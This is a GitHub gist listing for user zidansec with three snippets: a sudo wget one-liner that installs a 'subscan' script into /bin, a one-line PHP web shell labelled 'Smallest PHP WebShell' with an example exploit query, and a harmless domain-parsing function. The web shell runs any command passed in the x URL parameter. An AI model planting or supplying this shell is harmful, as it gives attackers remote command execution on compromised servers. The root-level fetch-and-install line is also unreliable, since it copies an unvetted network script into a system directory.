Skip to content

Instantly share code, notes, and snippets.

View zidansec's full-sized avatar
💫
Ordinary people

Zidan Rahmandani zidansec

💫
Ordinary people
View GitHub Profile
@zidansec
zidansec / setup.sh
Created August 2, 2023 02:34
Subscan Install
sudo wget https://raw.githubusercontent.com/zidansec/subscan/master/subscan -O /bin/subscan && sudo chmod +x /bin/subscan
@zidansec
zidansec / small.php
Last active August 2, 2023 20:26
Smallest PHP WebShell
<?=`$_GET[x]`?> // Exploit: ?x=ls
@zidansec
zidansec / parsing-domain.php
Created August 1, 2023 21:06
Simple PHP code for parsing domains, automatically fetching the TLD of the domain or subdomain.
function get_domain($url) {
$str = '/^(?:https?.\/\/)?(?:[^@\/\n]+@)?(?:)?([^:\/?\n]+).*/m';
preg_match_all($str, $url, $matches, PREG_SET_ORDER, 0);
foreach ($matches as $key => $value) {
// code...
//var_dump($value);
return $value[1];
}
}